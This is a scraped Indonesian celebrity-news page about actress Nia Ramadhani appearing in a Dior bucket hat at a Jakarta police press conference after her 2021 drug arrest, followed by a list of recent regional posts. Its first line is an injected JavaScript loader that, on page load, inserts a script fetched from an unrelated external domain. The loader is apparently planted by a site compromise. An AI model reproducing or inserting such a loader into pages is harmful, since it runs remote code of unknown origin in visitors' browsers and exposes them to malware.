(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
selebriti

Nia Ramadhani Modis Dihadirkan Sebagai TSK, Harga Topinya Rp 11 Juta


KANALKALIMANTAN.COM, JAKARTA – Artis Nia Ramadhani akhirnya dihadirkan dalam jumpa pers di Polres Jakarta Pusat, Sabtu (10/7/2021). Ini kali pertama dia bicara di depan media usai ditetapkan sebagai tersangka kasus penyalahgunaan narkoba.

Istri Ardi Bakrie itu tampak memakai baju tahanan berwarna merah. Meski ditahan, penampilan ibu tiga anak itu tetap terlihat modis.

Nia Ramadhani memakai bucket hat merk Christian Dior. Wajahnya tak terlihat karena dia juga memakai masker.
Topi yang dipakai Nia Ramadhani memiliki harga relatif mahal. Di situs resmi Dior, bucket hat tersebut dibanderol 790 dolar AS atau sekitar Rp 11,4 juta.

 

 

Baca juga: Lolos Wakili Banjarbaru di Festival Model Batik di Jakarta, Reval dan Gibran Terbentur Biaya

Penampilan Nia Ramadhani juga sempat jadi sorotan ketika dia dan sang suami dibawa ke luar Polres Jakarta Pusat untuk dilakukan pengembangan beberapa hari lalu.

Di kesempatan ini, ada beberapa hal yang disampaikan Nia Ramadhani. Intinya, dia cuma menyampaikan permintaan maaf.


“Sore hari ini mohon izin. Saya dengan segala kerendahan hati untuk meminta maaf sebesar-besarnya kepada keluarga, sahabat, teman-teman, rekan kerja dan orang-orang yang sudah mengasihi saya,” kata Nia Ramadhani.

Baca juga: RESMI. Wali Kota Banjarbaru Tunda Pembelajaran Tatap Muka

Penangkapan Nia berawal dari informasi yang didapat polisi kalau RA sering memakai sabu-sabu. Dari pendalaman, polisi mengamankan ZN yang merupakan sopir Nia Ramadhani dan Ardi Bakrie.

Dari tangan ZN, polisi menemukan satu klip sabu yang diakui milik Nia Ramadhani. Nia tak membantah dan malah menyebut kalau dia sering memakai sabu bersama sang suami.

ZN dan Nia Ramadhani digelandang ke Polres Jakarta Pusat. Tak lama kemudian, Ardi Bakrie datang menyerahkan diri.

Kini ketiganya ditetapkan sebagai tersangka dan dikenakan pasal 127 Undang-Undang Nomor 35 Tahun 2009 tentang Narkotika. Ancamannya maksimal empat tahun penjara. (Suara.com)

Editor : kk


Risa

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.